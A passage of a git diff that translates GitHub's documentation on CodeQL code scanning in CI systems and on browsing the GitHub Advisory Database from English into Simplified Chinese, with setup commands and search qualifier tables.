的替代方法,您可以在其他地方执行分析,然后上传结果。 在外部运行的 {% data variables.product.prodname_code_scanning %} 的警报显示方式与在 {% data variables.product.prodname_dotcom %} 内运行的 {% data variables.product.prodname_code_scanning %} 的警报显示方式相同。 有关详细信息,请参阅“[管理存储库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)”。 -{% data reusables.code-scanning.beta %} -{% data reusables.code-scanning.enterprise-enable-code-scanning %} +如果使用可生成结果为静态分析结果交换格式 (SARIF) 2.1.0 数据的第三方静态分析工具,您可以将其上传到 {% data variables.product.prodname_dotcom %}。 有关详细信息,请参阅“[将 SARIF 文件上传到 GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)”。 -As an alternative to running {% data variables.product.prodname_code_scanning %} within {% data variables.product.prodname_dotcom %}, you can perform analysis elsewhere and then upload the results. Alerts for {% data variables.product.prodname_code_scanning %} that you run externally are displayed in the same way as those for {% data variables.product.prodname_code_scanning %} that you run within {% data variables.product.prodname_dotcom %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." +{% ifversion fpt or ghes > 3.4 or ghae-issue-6251 or ghec %} {% data reusables.code-scanning.about-analysis-origins-link %} {% endif %} -If you use a third-party static analysis tool that can produce results as Static Analysis Results Interchange Format (SARIF) 2.1.0 data, you can upload this to {% data variables.product.prodname_dotcom %}. For more information, see "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)." +## 与 web 挂钩集成 -{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %} -{% data reusables.code-scanning.about-analysis-origins-link %} -{% endif %} +可以使用 {% data variables.product.prodname_code_scanning %} Webhook 构建或设置集成,例如 [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) 或 [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/),以订阅存储库中的 {% data variables.product.prodname_code_scanning %} 事件。 例如,可以构建在 {% data variables.product.product_name %} 上创建问题,或者在存储库中新增 {% data variables.product.prodname_code_scanning %} 警报时向你发送 Slack 通知的集成。 有关详细信息,请参阅“[创建 Webhook](/developers/webhooks-and-events/creating-webhooks)”和“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert)”。 -## Integrations with webhooks +## 延伸阅读 -You can use {% data variables.product.prodname_code_scanning %} webhooks to build or set up integrations, such as [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) or [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/), that subscribe to {% data variables.product.prodname_code_scanning %} events in your repository. For example, you could build an integration that creates an issue on {% data variables.product.product_name %} or sends you a Slack notification when a new {% data variables.product.prodname_code_scanning %} alert is added in your repository. For more information, see "[Creating webhooks](/developers/webhooks-and-events/creating-webhooks)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert)." - -## Further reading - -* "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)" -* "[Using {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} with your existing CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system)" -* "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)" +* [关于 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning) +* [将 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} 与现有 CI 系统配合使用](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system) +* [{% data variables.product.prodname_code_scanning %} 的 SARIF 支持](/code-security/secure-coding/sarif-support-for-code-scanning) diff --git a/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md b/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md index 8ad9bee420..486cf53a20 100644 --- a/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md +++ b/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: Installing CodeQL CLI in your CI system +title: 在 CI 系统中安装 CodeQL CLI shortTitle: Install CodeQL CLI -intro: 'You can install the {% data variables.product.prodname_codeql_cli %} and use it to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.' +intro: '您可以安装 {% data variables.product.prodname_codeql_cli %} 并用它在第三方持续集成系统中执行 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}。' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 versions: @@ -23,69 +23,66 @@ redirect_from: - /code-security/secure-coding/running-codeql-cli-in-your-ci-system - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-cli-in-your-ci-system - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system +ms.openlocfilehash: 3d7c7dc3451b844b33fe0b14fd07f9a18ec81b10 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884540' --- {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## About using the {% data variables.product.prodname_codeql_cli %} for {% data variables.product.prodname_code_scanning %} +## 关于将 {% data variables.product.prodname_codeql_cli %} 用于 {% data variables.product.prodname_code_scanning %} -You can use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." For recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis, see "[Recommended hardware resources for running {% data variables.product.prodname_codeql %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql)." +可以使用 {% data variables.product.prodname_codeql_cli %} 在第三方持续集成 (CI) 系统中处理的代码上运行 {% data variables.product.prodname_code_scanning %}。 {% data reusables.code-scanning.about-code-scanning %} 有关信息,请参阅“[关于使用 {% data variables.product.prodname_codeql %} 进行 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)”。 有关运行 {% data variables.product.prodname_codeql %} 分析的建议规范(RAM、CPU 核心和磁盘),请参阅“[用于运行 {% data variables.product.prodname_codeql %} 的建议硬件资源](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql)”。 {% data reusables.code-scanning.what-is-codeql-cli %} -Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information about {% data variables.product.prodname_code_scanning %} using actions, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." For an overview of the options for CI systems, see "[About CodeQL {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)". +您也可以使用 {% data variables.product.prodname_actions %} 在 {% data variables.product.product_name %} 中运行 {% data variables.product.prodname_code_scanning %}。 有关使用操作进行 {% data variables.product.prodname_code_scanning %} 的信息,请参阅“[为存储库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)”。 有关 CI 系统选项的概述,请参阅“[关于 CI 系统中的 CodeQL {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)”。 {% data reusables.code-scanning.licensing-note %} -## Downloading the {% data variables.product.prodname_codeql_cli %} +## 下载 {% data variables.product.prodname_codeql_cli %} -You should download the {% data variables.product.prodname_codeql %} bundle from https://github.com/github/codeql-action/releases. The bundle contains: +应从 https://github.com/github/codeql-action/releases 下载 {% data variables.product.prodname_codeql %} 包。 该捆绑包中包含: -- {% data variables.product.prodname_codeql_cli %} product -- A compatible version of the queries and libraries from https://github.com/github/codeql -- Precompiled versions of all the queries included in the bundle +- {% data variables.product.prodname_codeql_cli %} 产品 +- 来自 https://github.com/github/codeql 的查询和库的兼容版本 +- 捆绑包中包含的所有查询的预编译版本 {% ifversion ghes or ghae %} -{% note %} -For {% data variables.product.product_name %}{% ifversion ghes %} {{ allVersions[currentVersion].currentRelease }}{% endif %}, we recommend {% data variables.product.prodname_codeql_cli %} version {% data variables.product.codeql_cli_ghes_recommended_version %}. +{% note %} 对于 {% data variables.product.product_name %}{% ifversion ghes %} {{ allVersions[currentVersion].currentRelease }},{% endif %},我们建议使用 {% data variables.product.prodname_codeql_cli %} 版本 {% data variables.product.codeql_cli_ghes_recommended_version %}。 {% endnote %} {% endif %} -You should always use the {% data variables.product.prodname_codeql %} bundle as this ensures compatibility and also gives much better performance than a separate download of the {% data variables.product.prodname_codeql_cli %} and checkout of the {% data variables.product.prodname_codeql %} queries. If you will only be running the CLI on one specific platform, download the appropriate `codeql-bundle-PLATFORM.tar.gz` file. Alternatively, you can download `codeql-bundle.tar.gz`, which contains the CLI for all supported platforms. +您应该始终使用 {% data variables.product.prodname_codeql %} 包,因为这样可以确保兼容性,并且比单独下载 {% data variables.product.prodname_codeql_cli %} 和检出 {% data variables.product.prodname_codeql %} 查询提供更好的性能。 如果只在一个特定平台上运行 CLI,请下载相应的 `codeql-bundle-PLATFORM.tar.gz` 文件。 此外,也可以下载包含所有受支持平台的 CLI 的 `codeql-bundle.tar.gz`。 {% data reusables.code-scanning.beta-codeql-packs-cli %} -## Setting up the {% data variables.product.prodname_codeql_cli %} in your CI system +## 在 CI 系统中设置 {% data variables.product.prodname_codeql_cli %} -You need to make the full contents of the {% data variables.product.prodname_codeql_cli %} bundle available to every CI server that you want to run CodeQL {% data variables.product.prodname_code_scanning %} analysis on. For example, you might configure each server to copy the bundle from a central, internal location and extract it. Alternatively, you could use the REST API to get the bundle directly from {% data variables.product.prodname_dotcom %}, ensuring that you benefit from the latest improvements to queries. Updates to the {% data variables.product.prodname_codeql_cli %} are released every 2-3 weeks. For example: +您需要将 {% data variables.product.prodname_codeql_cli %} 包的全部内容提供给要运行 CodeQL {% data variables.product.prodname_code_scanning %} 分析的每个 CI 服务器。 例如,您可以配置每台服务器从中央内部位置复制包并提取它。 或者,您可以使用 REST API 直接从 {% data variables.product.prodname_dotcom %} 获取包,以确保您从查询的最新改进中受益。 {% data variables.product.prodname_codeql_cli %} 的更新每 2-3 周发布一次。 例如: ```shell $ wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases/latest/download/codeql-bundle-linux64.tar.gz $ tar -xvzf ./codeql-bundle-linux64.tar.gz ``` -After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the `codeql` executable on the server: +提取 {% data variables.product.prodname_codeql_cli %} 包后,可以在服务器上运行 `codeql` 可执行文件: -- By executing `//codeql/codeql`, where `` is the folder where you extracted the {% data variables.product.prodname_codeql_cli %} bundle. -- By adding `//codeql` to your `PATH`, so that you can run the executable as just `codeql`. +- 通过执行 `//codeql/codeql`,其中 `` 是要在其中提取 {% data variables.product.prodname_codeql_cli %} 包的文件夹。 +- 通过将 `//codeql` 添加到 `PATH`,这样就可以像 `codeql` 一样运行可执行文件。 -{% ifversion fpt or ghec or ghes > 3.7 or ghae > 3.7 %} -{% note %} +## 测试 {% data variables.product.prodname_codeql_cli %} 设置 -If you use the {% data variables.product.prodname_codeql_cli %} to analyze code written in Python, you must make sure that your CI system has Python 3 installed. +提取 {% data variables.product.prodname_codeql_cli %} 包后,您可以运行以下命令来验证是否正确设置了 CLI 以创建和分析数据库。 -{% endnote %} -{% endif %} +- `codeql resolve qlpacks` 如果 `//codeql` 位于 `PATH`。 +- 否则为 `//codeql/codeql resolve qlpacks`。 -## Testing the {% data variables.product.prodname_codeql_cli %} set up - -After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the following command to verify that the CLI is correctly set up to create and analyze databases. - -- `codeql resolve qlpacks` if `//codeql` is on the `PATH`. -- `//codeql/codeql resolve qlpacks` otherwise. - -**Extract from successful output:** +从成功的输出提取: ``` codeql/cpp-all (//qlpacks/codeql/cpp-all/) codeql/cpp-examples (//qlpacks/codeql/cpp-examples/) @@ -108,12 +105,12 @@ codeql/ruby-queries (//qlpacks/codeql/ruby-queries/) ... ``` -You should check that the output contains the expected languages and also that the directory location for the qlpack files is correct. The location should be within the extracted {% data variables.product.prodname_codeql_cli %} bundle, shown above as ``, unless you are using a checkout of `github/codeql`. If the {% data variables.product.prodname_codeql_cli %} is unable to locate the qlpacks for the expected languages, check that you downloaded the {% data variables.product.prodname_codeql %} bundle and not a standalone copy of the {% data variables.product.prodname_codeql_cli %}. +您应该检查输出是否包含预期的语言,以及 qlpack 文件的目录位置是否正确。 位置应在提取的 {% data variables.product.prodname_codeql_cli %} 包内,如上图所示为 ``,除非使用的是 `github/codeql` 的签出。 如果 {% data variables.product.prodname_codeql_cli %} 找不到预期语言的 qlpacks,请检查您是否下载了 {% data variables.product.prodname_codeql %} 捆绑包,而不是 {% data variables.product.prodname_codeql_cli %} 的独立副本。 -## Generating a token for authentication with {% data variables.product.product_name %} +## 使用 {% data variables.product.product_name %} 生成用于身份验证的令牌 -Each CI server needs a {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} for the {% data variables.product.prodname_codeql_cli %} to use to upload results to {% data variables.product.product_name %}. You must use an access token or a {% data variables.product.prodname_github_app %} with the `security_events` write permission. If CI servers already use a token with this scope to checkout repositories from {% data variables.product.product_name %}, you could potentially allow the {% data variables.product.prodname_codeql_cli %} to use the same token. Otherwise, you should create a new token with the `security_events` write permission and add this to the CI system's secret store. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." +每个 CI 服务器都需要 {% data variables.product.prodname_github_app %} 或用于 {% data variables.product.prodname_codeql_cli %} 的个人访问令牌,才能将结果上传到 {% data variables.product.product_name %}。 必须使用具有 `security_events` 写入权限的访问令牌或 {% data variables.product.prodname_github_app %}。 如果CI 服务器已使用具有此作用域的令牌从 {% data variables.product.product_name %} 检出仓库, 您可以允许 {% data variables.product.prodname_codeql_cli %} 使用相同的令牌。 否则,应创建具有 `security_events` 写入权限的新令牌,然后将其添加到 CI 系统的机密存储中。 有关信息,请参阅“[生成 {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)”和“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 -## Next steps +## 后续步骤 -You're now ready to configure the CI system to run {% data variables.product.prodname_codeql %} analysis, generate results, and upload them to {% data variables.product.product_name %} where the results will be matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. For detailed information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)." +您现在可以配置 CI 系统运行 {% data variables.product.prodname_codeql %} 分析、生成结果并上传到 {% data variables.product.product_name %},在那里结果将匹配分支或拉取请求并显示为 {% data variables.product.prodname_code_scanning %} 警报。 有关详细信息,请参阅“[在 CI 系统中配置 {% data variables.product.prodname_codeql_cli %}](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)”。 diff --git a/translations/zh-CN/content/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database.md b/translations/zh-CN/content/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database.md new file mode 100644 index 0000000000..be7b508137 --- /dev/null +++ b/translations/zh-CN/content/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database.md @@ -0,0 +1,190 @@ +--- +title: 在 GitHub Advisory Database 中浏览安全公告 +intro: 可以浏览 {% data variables.product.prodname_advisory_database %} 以查找托管在 {% data variables.product.company_short %} 上的开放源代码项目中的安全风险公告。 +shortTitle: Browse Advisory Database +miniTocMaxHeadingLevel: 3 +redirect_from: +- /github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database +- /code-security/supply-chain-security/browsing-security-vulnerabilities-in-the-github-advisory-database +- /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database +- /code-security/dependabot/dependabot-alerts/browsing-security-vulnerabilities-in-the-github-advisory-database +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: +- Security advisories +- Alerts +- Dependabot +- Vulnerabilities +- CVEs +ms.openlocfilehash: 5a2612b6d2899aa4c730b76a2ac898254024563a +ms.sourcegitcommit: d186fc3b5766172b09b4e7370ae888c2523ac24a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/06/2022 +ms.locfileid: "147508044" +--- + + +## 关于 {% data variables.product.prodname_advisory_database %} + +{% data variables.product.prodname_advisory_database %} 包含已知安全漏洞{% ifversion GH-advisory-db-supports-malware %}和恶意软件{% endif %}的列表,分为两类:经 {% data variables.product.company_short %} 审核的公告和未经审核的公告。 + +{% data reusables.repositories.tracks-vulnerabilities %} + +## 关于安全公告的类型 + +{% data reusables.advisory-database.beta-malware-advisories %} + +{% data variables.product.prodname_advisory_database %} 中的每个公告都涉及开放源代码项目中的漏洞{% ifversion GH-advisory-db-supports-malware %}或恶意开放源代码软件{% endif %}。 + +{% data reusables.repositories.a-vulnerability-is %} 代码中的漏洞通常是偶然引入的,并在被发现后很快会得到修复。 应更新代码,以便在依赖项可用时立即使用它的修复后的版本。 + +{% ifversion GH-advisory-db-supports-malware %} + +相比之下,恶意软件是有意设计为执行不需要或有害功能的代码。 恶意软件可能针对硬件、软件、机密数据或使用该恶意软件的任何应用程序的用户。 需要从项目中删除恶意软件,并为依赖项找到可供选择的、更安全的替代项。 + +{% endif %} + +### 经 {% data variables.product.company_short %} 审核的公告 + +经 {% data variables.product.company_short %} 审核的公告是已映射到支持的生态系统中的包的安全漏洞{% ifversion GH-advisory-db-supports-malware %}或恶意软件{% endif %}。 仔细查看每个公告的有效性,并确保它们具有完整的说明,以及包含生态系统和包信息。 + +通常,我们以软件编程语言的相关包注册表命名支持的生态系统。 我们会审查与受支持注册表中的包中的漏洞相关的公告。 + +- Composer(注册表: https://packagist.org/){% ifversion GH-advisory-db-erlang-support %} +- Erlang(注册表: https://hex.pm/){% endif %} +- Go(注册表: https://pkg.go.dev/) {% ifversion fpt or ghec or ghes > 3.6 or ghae-issue-7508 %} +- GitHub Actions (https://github.com/marketplace?type=actions/) {% endif %} +- Maven(注册表: https://repo1.maven.org/maven2/org/) +- npm(注册表: https://www.npmjs.com/) +- NuGet(注册表: https://www.nuget.org/) +- pip(注册表: https://pypi.org/) +- RubyGems(注册表: https://rubygems.org/) +- Rust(注册表: https://crates.io/) + +如果对我们应该支持的新生态系统有任何建议,请提出[问题](https://github.com/github/advisory-database/issues)以供讨论。 + +如果为存储库启用 {% data variables.product.prodname_dependabot_alerts %},则当经 {% data variables.product.company_short %} 审核的新公告报告所依赖的包存在漏洞{% ifversion GH-advisory-db-supports-malware %}或恶意软件{% endif %}时,系统会自动通知你。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)”。 + +### 未审核的公告 + +未审核的公告是我们直接从国家漏洞数据库源自动发布到 {% data variables.product.prodname_advisory_database %} 的安全漏洞。 + +{% data variables.product.prodname_dependabot %} 不会为未审核的公告创建 {% data variables.product.prodname_dependabot_alerts %},因为不会检查此类公告的有效性或完成情况。 + +## 关于安全公告中的信息 + +每个安全公告都包含有关漏洞{% ifversion GH-advisory-db-supports-malware %}和恶意软件{% endif %}的信息,可能包括说明、严重程度、受影响的包、包生态系统、受影响的版本和修补版本、影响以及可选信息(如引用、解决方法和积分)。 此外,国家漏洞数据库列表中的公告包含 CVE 记录链接,通过链接可以查看漏洞、其 CVSS 得分及其质化严重等级的更多详细信息。 有关详细信息,请参阅美国国家标准和技术研究院的“[国家漏洞数据库](https://nvd.nist.gov/)”。 + +严重级别是“[常见漏洞评分系统 (CVSS) 第 5 节](https://www.first.org/cvss/specification-document)”中定义的四个可能级别之一。 +- 低 +- 中 +- 高 +- 严重 + +{% data variables.product.prodname_advisory_database %} 使用上述 CVSS 级别。 如果 {% data variables.product.company_short %} 获取 CVE,{% data variables.product.prodname_advisory_database %} 将使用 CVSS 版本 3.1。 如果 CVE 是导入的,则 {% data variables.product.prodname_advisory_database %} 支持 CVSS 版本 3.0 和 3.1。 + +{% data reusables.repositories.github-security-lab %} + +## 访问 {% data variables.product.prodname_advisory_database %} 中的通告 + +1. 导航到 https://github.com/advisories。 +2. (可选)要过滤列表,请使用任意下拉菜单。 + ![下拉筛选器](/assets/images/help/security/advisory-database-dropdown-filters.png) {% tip %} + + 提示:可以使用左侧边栏分别浏览 {% data variables.product.company_short %} 已审核和未审核的公告。 + + {% endtip %} +3. 单击任何公告以查看详细信息。 默认情况下,你将看到经 {% data variables.product.company_short %} 审核的安全漏洞公告。 {% ifversion GH-advisory-db-supports-malware %}要显示恶意软件公告,请在搜索栏中使用 `type:malware`。{% endif %} + + +{% note %} + +也可以使用 GraphQL API 访问数据库。 {% ifversion GH-advisory-db-supports-malware %}默认情况下,除非指定 `type:malware`,否则查询将返回经 {% data variables.product.company_short %} 审核的安全漏洞公告。{% endif %}有关详细信息,请参阅“[`security_advisory`Webhook 事件](/webhooks/event-payloads/#security_advisory)”。 + +{% endnote %} + +## 在 {% data variables.product.prodname_advisory_database %} 中编辑公告 +您可以对 {% data variables.product.prodname_advisory_database %} 中的任何公告提出改进建议。 有关详细信息,请参阅“[在 {% data variables.product.prodname_advisory_database %} 中编辑安全公告](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database)”。 + +## 搜索 {% data variables.product.prodname_advisory_database %} + +您可以搜索数据库,并使用限定符缩小搜索范围。 例如,您可以搜索在特定日期、特定生态系统或特定库中创建的通告。 + +{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +| 限定符 | 示例 | +| ------------- | ------------- | +| `type:reviewed`| [**type:reviewed**](https://github.com/advisories?query=type%3Areviewed) 将显示经 {% data variables.product.company_short %} 审核的安全漏洞公告。 | +{% ifversion GH-advisory-db-supports-malware %}| `type:malware` | [**type:malware**](https://github.com/advisories?query=type%3Amalware) 将显示经 {% data variables.product.company_short %} 审核的恶意软件公告。 | +{% endif %}| `type:unreviewed`| [**type:unreviewed**](https://github.com/advisories?query=type%3Aunreviewed) 显示未审核的公告。 | +| `GHSA-ID`| [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) 显示包含此 {% data variables.product.prodname_advisory_database %} ID 的公告。 | +| `CVE-ID`| [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) 显示具有此 CVE ID 编号的公告。 | +| `ecosystem:ECOSYSTEM`| [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) 仅显示影响 NPM 包的公告。 | +| `severity:LEVEL`| [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) 仅显示具有较高严重性级别的公告。 | +| `affects:LIBRARY`| [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) 仅显示影响 lodash 库的公告。 | +| `cwe:ID`| [**cwe:352**](https://github.com/advisories?query=cwe%3A352) 仅显示具有此 CWE 编号的公告。 | +| `credit:USERNAME`| [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) 仅显示属于“octocat”用户帐户的公告。 | +| `sort:created-asc`| [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) 按最旧的公告在前的顺序进行排序。 | +| `sort:created-desc`| [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) 按最新的公告在前的顺序进行排序。 | +| `sort:updated-asc`| [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) 按更新时间由远及近的顺序排序。 | +| `sort:updated-desc`| [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) 按更新时间由近及远的顺序排序。 | +| `is:withdrawn`| [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) 仅显示已撤回的公告。 | +| `created:YYYY-MM-DD`| [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) 仅显示在此日期创建的公告。 | +| `updated:YYYY-MM-DD`| [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) 仅显示在此日期更新的公告。 | + +## 查看有漏洞的仓库 + +对于 {% data variables.product.prodname_advisory_database %} 中任何经 {% data variables.product.company_short %} 审核的公告,你都可以查看哪些存储库受该安全漏洞{% ifversion GH-advisory-db-supports-malware %}或恶意软件{% endif %}的影响。 要查看有漏洞的仓库,您必须有权访问该仓库的 {% data variables.product.prodname_dependabot_alerts %}。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)”。 + +1. 导航到 https://github.com/advisories。 +2. 单击通告。 +3. 在公告页面顶部,单击“Dependabot 警报”。 + ![Dependabot 警报](/assets/images/help/security/advisory-database-dependabot-alerts.png) +4. (可选)要过滤列表,请使用搜索栏或下拉菜单。 “Organization(组织)”下拉菜单用于按所有者(组织或用户)过滤 {% data variables.product.prodname_dependabot_alerts %}。 + ![用于筛选警报的搜索栏和下拉菜单](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png) +5. 有关公告的更多详细信息,以及有关如何修复有漏洞的存储库的建议,请单击存储库名称。 + +{% ifversion security-advisories-ghes-ghae %} +## 访问 {% data variables.product.product_location %} 上的本地公告数据库 + +如果站点管理员已为 {% data variables.product.product_location %} 启用 {% data variables.product.prodname_github_connect %},你还可以在本地浏览已审核的公告。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)”。 + +可使用本地公告数据库来检查是否包含特定的安全漏洞,从而检查是否会收到有关易受攻击的依赖项的警报。 还可以查看任何易受攻击的存储库。 + +1. 导航到 `https://HOSTNAME/advisories`。 +2. (可选)要过滤列表,请使用任意下拉菜单。 + ![下拉筛选器](/assets/images/help/security/advisory-database-dropdown-filters.png) {% note %} + + 注意:只会列出已审核的公告。 可以在 {% data variables.product.prodname_dotcom_the_website %} 上的 {% data variables.product.prodname_advisory_database %} 中查看未审核的公告。 有关详细信息,请参阅“[访问 GitHub 公告数据库中的公告](#accessing-an-advisory-in-the-github-advisory-database)”。 + + {% endnote %} +3. 单击公告以查看详细信息。{% ifversion GH-advisory-db-supports-malware %}默认情况下,你将看到经 {% data variables.product.company_short %} 审核的安全漏洞公告。 若要显示恶意软件公告,请在搜索栏中使用 `type:malware`。{% endif %} + +还可以直接从本地公告数据库中对任何公告提出改进建议。 有关详细信息,请参阅“[编辑来自 {% data variables.product.product_location %} 的公告](/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database#editing-advisories-from-your-github-enterprise-server-instance)”。 + +### 查看 {% data variables.product.product_location %} 的易受攻击的存储库 + +{% data reusables.repositories.enable-security-alerts %} + +在本地公告数据库中,可以看到哪些存储库受到每个安全漏洞{% ifversion GH-advisory-db-supports-malware %}或恶意软件{% endif %}的影响。 要查看有漏洞的仓库,您必须有权访问该仓库的 {% data variables.product.prodname_dependabot_alerts %}。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)”。 + +1. 导航到 `https://HOSTNAME/advisories`。 +2. 单击通告。 +3. 在公告页面顶部,单击“Dependabot 警报”。 + ![Dependabot 警报](/assets/images/help/security/advisory-database-dependabot-alerts.png) +4. (可选)要过滤列表,请使用搜索栏或下拉菜单。 “Organization(组织)”下拉菜单用于按所有者(组织或用户)过滤 {% data variables.product.prodname_dependabot_alerts %}。 + ![用于筛选警报的搜索栏和下拉菜单](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png) +5. 有关公告的更多详细信息,以及有关如何修复有漏洞的存储库的建议,请单击存储库名称。 + +{% endif %} + +## 延伸阅读 + +- MITRE 的[“漏洞”定义](https://www.cve.org/ResourcesSupport/Glossary#vulnerability) diff --git a/translations/zh-CN/content/code-security/dependabot/dependabot-alerts/browsing-security-vulnerabilities-in-the-github-advisory-database.md b/translations/zh-CN/content/code-security/dependabot/dependabot-alerts/browsing-security-vulnerabilities-in-the-github-advisory-database.md new file mode 100644 index 0000000000..3f8e03a3f8 --- /dev/null +++ b/translations/zh-CN/content/code-security/dependabot/dependabot-alerts/browsing-security-vulnerabilities-in-the-github-advisory-database.md 